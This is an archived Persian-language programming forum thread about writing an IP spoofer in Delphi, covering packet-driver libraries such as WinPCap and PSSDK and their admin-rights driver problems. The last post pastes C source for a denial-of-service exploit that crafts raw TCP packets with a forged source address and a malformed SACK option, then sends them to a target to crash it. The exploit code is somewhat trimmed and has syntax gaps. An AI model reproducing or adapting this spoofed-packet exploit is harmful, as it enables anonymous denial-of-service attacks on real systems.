PDA

View Full Version : نوشتن IP Spoofer با دلفی



Developer Programmer
شنبه 15 مرداد 1384, 22:11 عصر
مطلب کمک راهنمایی یا لینک ؟

ICEMAN
جمعه 21 مرداد 1384, 17:28 عصر
کاری نداره Proxy میتونه IP ت رو Spoof کنه
حالا میتونی یه رنامه که User رو با Proxy به شبکه Connect کنه کارت رو راه میندازه
m4jid_java@Yahoo. سوالی داشتس بگو افشین جان خوشحال میشم کارت راه بیوفته

Inprise
شنبه 22 مرداد 1384, 13:57 عصر
به این سوال قبلا" تو بخشهای دیگه جواب داده شده ؛ میشه با جستجو بهشون رسید :

برای توسعهء یک IP Spoofer به یک Packet Driver احتیاج داری ، که بهت امکان دسترسی مستقیم به بسته های در حال ارسال/دریافت رو میده ، و میتونی با روتینهای کمکی اش ، مطابق میلت بسته ها رو دستکاری کنی . یکی از Packet Driver های معروف و رایگان WinPCap است که نگارش مبتنی بر ویندوز کتابخانهء معروف LibPCap لینوکسه و برای استفاده از اون تو محیطهای مختلف توسعه ، کامپوننتهای رایگان متعددی وجود داره که دلفی و دات نت هم ، جزو محیطهای حمایت شده هستند . کتابخانه های تجاری متعددی هم برای دسترسی مستقیم به بسته ها وجود داره که میتونی تحت همین عنوان درباره اونها جستجو کنی

Developer Programmer
یک شنبه 23 مرداد 1384, 10:19 صبح
دارم سعی میکنم ببینم میشه با نگارش VCL از Packet Sniffer SDK اینکار رو انجام داد یا نه
این کامپوننت هم مثل winPcap بسته های شبکه رو در لایه Data Link فیلتر میکنه

Inprise
یک شنبه 23 مرداد 1384, 11:48 صبح
PSSDK هم مثل WinPCap از لایهء فیزیکال استفاده میکنه و نه دیتالینک ؛

Developer Programmer
یک شنبه 23 مرداد 1384, 20:34 عصر
اشتباه از جانب من نیست، در سایتی این چنین آمده بود ولی بامشاهده راهنمای psSDK به چگونگی ماجرا پی بردم!
---
یه چیز جالب هم از psSDK براتون می نویسم !

function IPGenerate(pIPPacket: Pointer;
PacketLen : DWORD;
Proto : DWORD;
SrcIP : DWORD;
DstIP : DWORD): DWORD;

خیلی جالبه ! بسیار راحت میشه Spoofing کرد D:

Inprise
یک شنبه 23 مرداد 1384, 23:53 عصر
Pssdk هم راه حل خوبیه ، به این شرط که وجود سورس کل نرم افزار نهایتا" برات حائز اهمیت نباشه ، چون سورس Pssdk فروخته نمیشه و کلیه نسخه هاش بصورت باینری منتشر شده اند ، چه Vcl چه اکتیواکس . WinPCap سورس آزاد و کاملا" با LibPcap سازگاره و انتقال برنامهای نوشته شده با اون ، به لینوکس براحتی امکان پذیره . ضمنا" چون فراخوانی درایور داخلی PSSDK در زمان اجرا و بصورت دینامیک انجام میشه ، اجرای برنامه های مبتنی بر اون ، با حقوق کاربری پائین ، معمولا" با مشکل مواجه میشه ؛

Developer Programmer
پنج شنبه 27 مرداد 1384, 17:29 عصر
یکی از مشکلات psSDK که نمی دونم از چی ناشی میشه اینه که بعد از دو سه بار اجرا کردن برنامه , دیگه نمی تونه درایور رو لود کنه و پیغام Driver not loaded رو نشون میده ! به تصور اینکه مشکل از ویندوز باشه ... ویندوز رو دوباره نصب کردم ولی بازهم مشکل به قوت خود باقی است ... به شرکت microolap میل زدم ولی هنوز جوابی نیومده

Inprise
پنج شنبه 27 مرداد 1384, 17:46 عصر
مدتها قبل یکی از دوستانم برنامه ای با Pssdk نوشت که من نسخهء کاملش رو برایش از مهدی کرامتی گرفتم ؛ آخرین باری که دیدمش میگفت برنامه اش خوشحال و بدون مشکل داره کار میکنه و ترافیک بالائی رو هندل میکنه ، بهر حال من همیشه پلت فرمهای آزاد رو ترجیح میدم ، حتی اگر در نگاه اول استفاده از اونها چندان سهل به نظر نیاد . قاعدتا" فاصله بین تو و حل شدن مشکلت ، حمایتیه که ممکنه توسعه گر این راه حل بکنه ( یا نکنه ) اما روی پلت فرمهای آزاد ، فاصله بین تو و حل شدن مشکلت ، فقط سواد و توانائی خودته ؛ به همین دلیله که نرم افزارهای حیاتی ، جدی و حائز اهمیت روی پلت فرمهای آزاد توسعه داده میشن و به همین دلیله که اصحاب تخصص ، کدهای باینری و بسته و بیزینس مدلهای پیچیدهء تجاری رو برای توسعه نرم افزار انتخاب نمیکنند .

موفق باشی

Developer Programmer
شنبه 05 شهریور 1384, 09:39 صبح
با سلامی دوباره
پاسخ ایمیل رسید!

> What must I do to fix "Driver_Not_Loaded" error, please ?

Do you have admin rights on this PC box? If no, you have to write some
service, install it with admin rights, and then (if you want to use
PSSDK functions from application launched without admin rights) call
PSSDK functions from your application. This service must keep PSSDK
initialized.

--
Best regards,
Edward Smirnov

Inprise
شنبه 05 شهریور 1384, 10:08 صبح
ضمنا" چون فراخوانی درایور داخلی PSSDK در زمان اجرا و بصورت دینامیک انجام میشه ، اجرای برنامه های مبتنی بر اون ، با حقوق کاربری پائین ، معمولا" با مشکل مواجه میشه ؛

:لبخندساده

Developer Programmer
یک شنبه 06 شهریور 1384, 20:32 عصر
دقیقا حق با شما بود،
---
How PSSDK loads its driver?
It unpacks it from the byte array, saves
as file in windows\system, installs the driver, and deletes its file.

So, if you're launching your application under non-admin rights, PSSDK
can't load its packet driver.

Other reason of your troubles may be that you used some "registry
cleaner" program, and it damaged (but not deleted) PSSDK service
record from registry. In this case it is enough to find out all PSSDK
branches in registry and delete them. After that your PSSDK
application will work again.

خوش باشین

Developer Programmer
سه شنبه 22 شهریور 1384, 19:54 عصر
امروز Source یه اکسپلویت مربوط به حمله DoS رو نگاه می کردم. اکسپلویت سعی می کنه که malformed packetبسازه و اون رو با آدرس فرستنده جعلی به مقصد ارسال کنه.(فکر نمی کردم که بشه اینقدر راحت Spoof کرد!!)
اما اکسپلویت رو در Nix* نوشتنه اند و از Header File های مربوط به زبان C در آن سیستم عامل استفاده شده، از آنجا که من خیلی کم با C کار می کنم ؛ نمی دونم معادل این Header File ها در Windows کدامها هستند.
لذا مقداری از کد رو Paste میکنم, به امید اینکه کمک کنید
(سعی کردم کد رو PoC کنم)


#include<stdio.h>
#include<string.h>
#include<unistd.h>
#include<errno.h>
#include<netdb.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in.h>
//#define __USE_BSD 1 /* Use BSD's ip header style */
#include<netinet/ip.h>
#define __FAVOR_BSD 1 /* Use BSD's tcp header style */
#include<netinet/tcp.h>

#define IPSIZE sizeof(struct ip)
#define TCPSIZE sizeof(struct tcphdr)
#define DEFAULT_SRC_IP "200.31.33.70"

char trigger[] = "\x05\x02\x00\x00"; /* Malformed SACK TCP Option */


int main(int argc, char **argv)
{
char *packet= (char *) malloc(IPSIZE + TCPSIZE + 4);
char *srcip = DEFAULT_SRC_IP;
int sockfd, count;
int one = 1; /* setsockopt() */
struct sockaddr_in target;
struct hostent *host2ip;
struct ip *IP = (struct ip *) packet;
struct tcphdr *TCP = (struct tcphdr *) (packet + IPSIZE);

memset(packet, 0x00, sizeof(packet))

memset(&target, 0x00, sizeof(target))
target.sin_family = AF_INET
target.sin_port = htons(64876)
target.sin_addr = *((struct in_addr *)host2ip->h_addr)

/*** BUILDING MALFORMED PACKET ***/
IP->ip_hl = 0x05;
IP->ip_v = 0x04;
IP->ip_tos = 0x00;
IP->ip_len = IPSIZE + TCPSIZE + 4;
IP->ip_id = 0x00;
IP->ip_off = 0x00;
IP->ip_ttl = 0xff;
IP->ip_p = IPPROTO_TCP;
IP->ip_sum = 0x00;
IP->ip_src.s_addr = inet_addr(srcip);
IP->ip_dst.s_addr = target.sin_addr.s_addr;

TCP->th_sport = htons(31337);
TCP->th_dport = target.sin_port;
TCP->th_seq = 0x00;
TCP->th_ack = 0x00;
TCP->th_x2 = 0x00;
TCP->th_off = 0x06;
TCP->th_flags = 0x00; /* NO Syn ;) */
TCP->th_win = htons(0xffff);
TCP->th_sum = 0x00;
TCP->th_urp = 0x00;

memcpy(packet + IPSIZE + TCPSIZE, trigger, 4);
/*** END ***/

if((sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_TCP)) == -1){
perror("socket");
exit(-1);
}

if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) == -1){
perror("setsockopt");
exit(-1);
}

printf("-=[ Trigger p0c\n");
printf("-=[ >\n\n");
printf("-=[ Sending Malformed TCP/IP Packet...\n");

if((count = sendto(sockfd, packet, IP->ip_len, 0, (struct sockaddr *)&target, sizeof(target))) == -1){
perror("sendto");
close(sockfd);
exit(-1);
}

printf("-=[ Sent %d bytes to %s\n", count, argv[1]);
printf("-=[ killed !\n");

close(sockfd);
return 0;